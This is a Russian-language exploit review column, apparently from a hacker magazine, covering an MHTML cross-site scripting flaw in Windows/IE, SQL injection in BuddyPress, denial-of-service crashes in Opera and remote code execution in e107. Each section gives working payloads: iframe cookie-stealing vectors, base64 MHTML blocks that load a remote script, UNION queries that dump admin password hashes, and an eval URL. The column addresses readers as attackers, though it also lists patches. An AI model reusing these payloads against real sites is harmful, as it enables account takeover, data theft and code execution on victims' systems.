Содержание статьи
Приветствую тебя, читатель! Вот мы и снова встретились на страницах ][. Сегодняшний обзор эксплойтов порадует тебя целым ворохом свежайших уязвимостей в самых разнообразных программных продуктах. Запасайся терпением и внимательно следи за описанием всех представленных багов, чтобы самому не повторять смешных ошибок наших дражайших девелоперов.
Межсайтовый скриптинг в Microsoft Windows MHTML
Brief
Не так давно китайские хакеры снова обнаружили эпохальный зиродей, скрывающийся в многострадальной винде. На этот раз под раздачу попал обработчик файлов MHTML (MIME Encapsulation of Aggregate HTML) в IE. Уязвимость существует из-за ошибки в способе обработки хэндлером протокола MHTML MIME-форматированных запросов для блоков данных внутри документа. Злоумышленник легко может внедрить в архив страницы вредоносный скрипт, который и будет запущен при попытке просмотра файла. Итог — сбор пользовательской информации, подмена веб-страницы и так далее.
Exploit
Рассмотрим оригинальные способы эксплуатации данного бага от команды 80vul.com.
1.XSS с помощью загрузки mhtml-файла.
Если используется обработчик протокола MHTML, расширение и Content-Type файла полностью игнорируются. Таким образом, злоумышленник сможет переименовать mhtml-скрипт со злонамеренным XSS-кодом во что-нибудь безобидное вроде *.jpg. После этого нехитрого действия уже специально подготовленный файл заливается на нужный нам сервер (например, с помощью формы загрузки фотографий) и скармливается пользователю посредством html-странички на другом (также специально подготовленном) сайте с примерно следующим содержимым:
<iframe src="MHTML:http://target-site.com/upfile/demo.html!cookie"></iframe>
С помощью описанного алгоритма пользователь нужного сайта раскроет тебе свои кукисы и другую конфиденциальную информацию с этого сайта при посещении твоего злонамеренного домена. Причем сам этого не заметит.
Для обхода возможных проверок, встроенных в форму аплоада, китайцы предлагают склейку нормальной картинки с нашим злонамеренным файлом. Это делается с помощью нехитрой виндовой команды:
copy /b 1.jpg + 1.mhtml 2.jpg.
2.CRLF/XSS-инъекция в MHTML-файле.
Все MHTML построены с помощью CRLF (перевода строки). Таким образом, если мы сможем внедрить символы CRLF (а значит, и произвольные скрипты), то нужный нам сайт с легкостью может быть атакован.
В качестве примера авторы предлагают длинный iframe-код, посмотреть который ты сможешь в оригинальном advisory. В целом же данный подвид MHTML-инъекций направлен на формат JSON, так как некоторые сайты для предотвращения XSS проверяют заголовок Content-Type в таких файлах.
3.Обход заголовка X-FRAME-OPTIONS.
Для начала давай выясним, что же это за хитрый заголовок. Итак, веб-разработчики могут посылать вместе с html-страницами специальный response-заголовок, называемый X-Frame-Options, который ограничивает набор способов для отрисовки страницы.
Если X-Frame-Options содержит маркер DENY, IE будет препятствовать визуализации страницы, содержащейся в пределах фрейма. Если он содержит маркер SAMEORIGIN, IE будет блокировать визуализацию только в том случае, если точка отсчета координат для просматриваемого содержимого страницы верхнего уровня будет отличаться от точки отсчета контента, прописанной в директиве X-Frame-Options.
В целом же введение данного заголовка призвано помочь в деле предотвращения ClickJacking-атак. Китайцы предлагают следующий способ обхода этого заголовка с помощью протокола MHTML:
<iframe src="mhtml:http://www.80vul.com/mhtml/zz.php!cookie"></iframe>
<iframe src="http://www.80vul.com/mhtml/zz.php"></iframe>
4.Локальная XSS-инъекция с помощью MHTML + file://uncpath + Adobe Reader 9.
В конце 2010 года некий хакер Билли «BK» Риос предложил крайне интересный способ кражи локальных файлов (http://goo.gl/kmBXB). В этом способе использовался метод «Script src to local files in the LocalLow directory» вкупе с протоколом file://, специальным JS-сценарием и прогой Adobe Reader. Если же использовать нашу багу в MHTML, то этот метод чтения локальных файлов крайне упрощается. Для тестов авторы предлагают тебе свою готовую утилиту, расположенную по адресу http://goo.gl/pCY3P (тестировалось на win2k3+ie8+Adobe Reader 9).
5.Локальная XSS-инъекция с помощью MHTML + file:///uncpath + MS Word.
Демонстрация данного способа расположена тут: 80vul.com/mhtml/word.doc. Качаем документ, сохраняем его как c:word.doc, открываем и видим содержимое файла c:boot.ini. Этот способ базируется на баге Microsoft Word javascript execution (http://goo.gl/9OKNw). Как был приготовлен PoC, содержащийся в файле word.doc, читай ниже.
a.Создаем обычный html-файл и вставляем в него следующий XSSкод:
<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b760080c744f389> <param name=url value=http://www.80vul.com/hackgame/word.htm></OBJECT>
aaaaa
b.Открываем этот файл в MS Word и сохраняем как c:word.xml.
c.Открываем c:word.xml с помощью обычного блокнота и инжектим
mhtml-код в тег <w:t>aaaaa</w:t>:
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb2 0vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K
--_boundary_by_mere-*/
d.Переименовываем c:word.xml в c:word.doc.
e.Открываем c:word.doc и наслаждаемся результатом.
Учти, что для использования атаки ты должен знать путь к wordфайлу.
6.Cross Zone Scripting А теперь перейдем к последнему и самому опасному способу эксплуатации уязвимостей в MHTML. Но сначала ты должен вспомнить о древнем баге, обнаруженном хакером firebug9 (http://goo.gl/ERFoS):
<OBJECT CLASSID=CLSID:12345678-1234-4321-1234-111111111111 CODEBASE=c:/winnt/system32/calc.exe></OBJECT>
Этот баг позволяет тебе выполнять любую программу в зоне «Мой компьютер» и работает на ie6/ie7/ie8 + win2k/winxp/win2k3. Для эксплуатации этого чуда в контексте MHTML ты должен повторить шаги, описанные в предыдущем пункте, заменив xss- и mhtmlкоды на следующие:
<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b760080c744f389><param name=url value=mhtml:fi le://c:/word.doc!cookie></OBJECT>
aaaaa
и
/*
Content-Type: multipart/related; boundary="boundary
by_mere":
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS 0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5 c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg==
--_boundary_by_mere-*/
После старта полученного файла должен запуститься calc.exe. Подробное advisory от авторов на английском языке ищи по адресу http://goo.gl/aZ9Ay.
Targets
- Microsoft Windows XP/2003/Vista/2008/7
Solution
В качестве временного решения данной проблемы мелкомягкие рекомендуют заблокировать mhtml-протокол. Это можно осуществить одним из следующих способов:
- Скачать и запустить приложение «Fix it», доступное по адресу support.microsoft.com/kb/2501696.
- Изменить соответствующие записи в системном реестре Windows (подробнее тут: securitylab.ru/vulnerability/404604.php).
BUDDYPRESS >=1.2 ACTIVITY GET_SPECIFIC() SQL INJECTION EXPLOIT
Brief
BuddyPress — это популярнейший плагин для известного движка WordPress, позволяющий построить готовую социальную сеть «из коробки». О популярности данного скрипта можно судить хотя бы по тому, что Google выдает 716 000 результатов по специфичному для BuddyPress запросу «inurl:members/admin/activity». Примерно полтора года назад я нашел презабавнейшую SQL-инъекцию в данном плагине, которую не закрыли и по сей день (на момент написания статьи — BuddyPress 1.2.7). Чтобы понять механизм возникновения этой уязвимости, давай проведем небольшой реверсинг php-кода.
1.Смотрим на файл шаблона групп ./wp-content/plugins/buddypress/bp-themes/bp-default/groups/single/home.php:
<?php elseif ( bp_group_is_visible() && bp_is_active( 'activity' ) ) : ?>
<?php locate_template(array( 'groups/single/activity.php' ), true ) ?>
2.Находим упомянутый выше шаблон «activity» в ./wp-content/plugins/buddypress/bp-themes/bp-default/groups/single/activity.php:
<div class="activity single-group">
<?php locate_template(array( 'activity/activity-loop.php' ), true ) ?>
</div><!-.activity -->
3. Смотрим на на файл ./wp-content/plugins/buddypress/bp-themes/bp-default/activity/activity-loop.php из верхнего кода:
«<?php if (bp_has_activities( bp_ajax_querystring( 'activity' ) ) ) : ?>;»
4.Находим эту функцию в файле ./wp-content/plugins/buddypress/bp-activity/bp-activity-templatetags.php:
function bp_has_activities( $args = '' )
{
....
$r = wp_parse_args( $args, $defaults );
extract( $r );
....
case 'favorites':
$favs = bp_activity_get_user_favorites( $user_id );
if ( empty( $favs ) )
return false;
$include = implode( ',', (array)$favs );
break;
$activities_template = new BP_Activity_Template ( $page,
$per_page, $max, $include, $sort, $fi lter,
$search_terms, $display_comments, $show_hidden );
...
5. В том же файле ./wp-content/plugins/buddypress/bp-activity/bp-activity-templatetags.php находим функцию bp_activity_template():
function bp_activity_template( $page, $per_page, $max, $include, $sort, $fi lter, $search_terms,
$display_comments, $show_hidden )
{
...
/* Get an array of the logged in user’s favorite activities /
$this->my_favs = maybe_unserialize(get_usermeta( $bp->loggedin_user->id, 'bp_favorite_activities' ) );
if ( !empty( $include ) ) {
/ Fetch specifi c activity items based on ID’s */
$this->activities = bp_activity_get_specific( array('activity_ids' => explode( ',', $include ), 'max' => $max, 'page' => $this->pag_page, 'per_page' => $this->pag_num, 'sort' => $sort, 'display_comments' => $display_comments ) );
...
}
6.Далее следуем в файл ./wp-content/plugins/buddypress/bp-activity.php и находим функцию bp_activity_get_specific():
function bp_activity_get_specifi c( $args = '' ) {
...
$r = wp_parse_args( $args, $defaults );
extract( $r, EXTR_SKIP );
return apply_fi lters( 'bp_activity_get_specifi c', BP_Activity_Activity::get_specific($activity_ids, $max, $page, $per_page, $sort, $display_comments ) );
}
7. И, наконец, наша главная цель — функция get_specific() в файле ./wp-content/plugins/buddypress/bp-activity/bp-activity-classes.php:
function get_specifi c( $activity_ids, $max = false, $page = 1, $per_page = 25, $sort = 'DESC', $display_comments = false )
{
global $wpdb, $bp;
if ( is_array( $activity_ids ) )
$activity_ids = implode( ',', $activity_ids );
$activity_ids = $wpdb->escape( $activity_ids );
...
$activities = $wpdb->get_results( $wpdb->prepare ( "SELECT * FROM {$bp->activity->table_name} WHERE id IN ({$activity_ids}) ORDER BY date_recorded {$sort} $pag_sql"));
...
}
Как видишь, хоть кавычки в переменной $activity_ids и обрамляются обратными слэшами с помощью функции escape(), нам это нисколько не мешает! В уязвимом sql-запросе наша переменная изначально не обрамлена кавычками id IN ({$activity_ids}) — таким образом, мы легко сможем выполнить атаку класса sql-injection.
Exploit
Схема эксплуатации описанной уязвимости достаточно тривиальна:
1.Регистрируемся в социальной сети.
2. Создаем группу.
3.Проводим sql-инъекцию.
http://lamer/wp30/groups/test/activity/-9) union(select(1), (2),(3),(4),(5),concat(user_login,0x3a,user_pass), (7),(8),(9),(10),(11),(12),(13)from(wp_users) where(id=1)
Также существуют и другие векторы использования этой баги — например, blind-вариант без создания группы:
http://lamer/wp30/activity/favorite/-9) or(1=(select(1) from(wp_users) where(user_login=char(97,100,109,105,1 10)))
Удобный готовый эксплойт ты сможешь найти по адресу http://goo.gl/pdk8r.
Targets
- BuddyPress >=1.2 и <= 1.2.7
Solution
Для закрытия уязвимости открой файл ./wp-content/plugins/buddypress/bp-activity/bp-activity-classes.php и замени код:
if ( is_array( $activity_ids ) )
$activity_ids = implode( ',', $activity_ids );
$activity_ids = $wpdb->escape( $activity_ids );
Заменить приведенный выше код нужно на следующий:
$activity_ids = $wpdb->escape($activity_ids);
if ( is_array( $activity_ids ) )
$activity_ids = implode( "','", $activity_ids);
И строку «id IN ({$activity_ids})» на строку «id IN ('{$activity_ids}')».
Множественные уязвимости в Opera
Brief
В январе текущего года Жорди Шансель и Макото Шиотзуки обнаружили целую кипу уязвимостей в моем любимом браузере. Найденные дыры позволяют удаленному пользователю обойти некоторые ограничения безопасности, получить доступ к важным данным и скомпрометировать целевую систему.
- Целочисленное переполнение при обработке большого количества вложенных элементов в html-теге «select» позволяет вызвать переполнение динамической памяти и выполнить произвольный код на целевой системе (в опубликованных PoC представлены только DoSварианты этого бага).
- Уязвимость в ссылках с префиксом «opera:». Злоумышленник может обманом заставить пользователя нажать на специально сформированную ссылку и изменить некоторые настройки браузера.
- Уязвимость, возникающая при обработке определенных httpответов и перенаправлений. Злоумышленник может загрузить произвольные локальные файлы в качестве web-контента и получить доступ к содержащейся в них информации.
- Уязвимость, заключающаяся в запуске браузером некорректного исполняемого файла при попытке открыть каталог, содержащий какой-либо загруженный файл (эксплуатация уязвимости требует неплохих навыков в области социальной инженерии).
- Уязвимость, кроющаяся в опции «Clear all email account passwords» утилиты «Delete Private Data», которая не очищает emailпароли до перезапуска приложения. Теоретически злоумышленник может получить доступ к учетным записям почты пользователя.
Exploit
Так как баги за номерами 2-4 требуют использования социальной инженерии, способы их эксплуатации крайне туманны и неоднозначны. Но для первого бага уже опубликованы вполне определенные концепт-коды выполнения DoS-атаки (способы запуска произвольного экзешника, конечно же, держатся в тайне).
Первый PoC написан на PHP:
<select name="dos">
<?for($i=0;$i<32768;$i++):?>
<option><?=$i?></option>
<?endfor;?>
</select>
После выполнения данного скрипта с помощью Оперы твой брау зер намертво повесит всю систему. Второй PoC написан на Perl и немного отличается от первого:
i = 0
buf = "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>n"
while i<0x4141 buf += "<option>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</option>n"
i+=1
end
HTML =
"<html>n"+
"<body>nn"+
"<select>nn"
HTML+=buf * 100
HTML += "nnn</select>nn"+
"</body>nnn"+
"</html>nnnnn"
f = File.open("Exploit_opera_11.00.html","w")
f.puts HTML
f.close
На выходе ты снова получишь фатальный для Opera html-код.
Targets
- Opera 10.63, 11.0 и более ранние версии.
Solution
Для устранения всех этих уязвимостей тебе необходимо всего лишь обновиться до последней версии браузера с официального сайта opera.com.
E107 <= 0.7.24 REMOTE PHP CODE EXECUTION
Brief
Как-то раз я наткнулся на интересный анализ годовалой давности одной из уязвимостей в известнейшем PHP движке e107 (http://goo.gl/LWE19). В этом анализе хакер под ником 0x6a616d6573 обнаружил интересный ченджлог в исходниках файла ./class2.php:
revision 1.388, Sat Jan 9 20:32:21 2010 UTC
define("e_QUERY", $e_QUERY);
revision 1.390, Fri Jan 22 15:00:22 2010 UTC
define("e_QUERY", str_replace(array('{', '}', '%7B', '%7b', '%7D', '%7d'), '', $e_QUERY));
Тут же этот хакер нашел и повод, повлекший за собой такие изменения. Интересный код содержался в файле login.php:
$text = preg_replace("/{(.*?)}/e", 'varset($1,"1")', $LOGIN_TABLE);
Данный preg_replace() с модификатором «e» позволял выполнять произвольный код на системе с помощью специально сформированного URL вида http://www.example.com/e107/login.pHp/{x,phpinfo()}. Несмотря на то, что этот баг закрыли уже более года назад, я заинтересовался самим механизмом выполнения кода и нашел следующие забавные вещи в последней на момент написания обзора версии e107 0.7.24:
1. Открываем файл ./search.php и смотрим примерно на 400 линию:
$text = preg_replace("/{(.*?)}/e", '$1', $SEARCH_TOP_TABLE);
2.Теперь находим саму переменную $SEARCH_TOP_TABLE в файле ./e107_themes/templates/search_template.php:
if (!isset($SEARCH_TOP_TABLE)) {
$SEARCH_TOP_TABLE =
"<div style='text-align:center'>
<form id='searchform' name='searchform' method='get' action='".e_SELF."'>
<table style='".USER_WIDTH."' class='fborder'><tr>
<td class='forumheader3' style='width: 40%'>".LAN_199." </td>
<td class='forumheader3' style='width: 60%; white-space: nowrap'>
{SEARCH_MAIN_SEARCHFIELD}
{SEARCH_MAIN_SUBMIT} {ENHANCED_ICON}
</td>
</tr>";
}
Здесь константа e_SELF берется из переменной $_SERVER[‘PHP_SELF’], которая парсится в классе ./class2.php:
if(($pos = strpos($_SERVER['PHP_SELF'], ".php/")) !== false)
// redirect bad URLs to the correct one.
{
$new_url = substr($_SERVER['PHP_SELF'], 0, $pos+4);
$new_loc = ($_SERVER['QUERY_STRING']) ?
$new_url."?".$_SERVER['QUERY_STRING'] : $new_url;
header("Location: ".$new_loc);
exit();
}
$_SERVER['PHP_SELF'] = ( ($pos = strpos($_SERVER['PHP_SELF'], ".php")) !== false ? substr($_SERVER['PHP_SELF'], 0, $pos+4) : $_SERVER['PHP_SELF']);
Exploit
Мой эксплойт очень похож на сплойт 0x6a616d6573 и, как и оригинал, срабатывает только на серверах, нечувствительных к регистру (обычно винда):
http://lamer/e107-0.7.24/search.pHp/{a=eval(phpinfo())}.
Targets
- e107 <= 0.7.24
Solution
Для устранения проблемы воспользуемся способом самих авторов движка и сделаем в файле ./class2.php небольшое изменение:
Найдем код:
define("e_SELF ", ($pref['ssl_enabled'] == '1' ?
"https://".$_SERVER['HTTP_HOST'] :
"http://".$_SERVER['HTTP_HOST']) .
($_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] :
$_SERVER['SCRIPT_FILENAME']));
И вставим перед ним следующее:
$_SERVER['PHP_SELF'] = str_replace(array('{', '}', '%7B', '%7b', '%7D', '%7d'), '', $_SERVER['PHP_SELF']));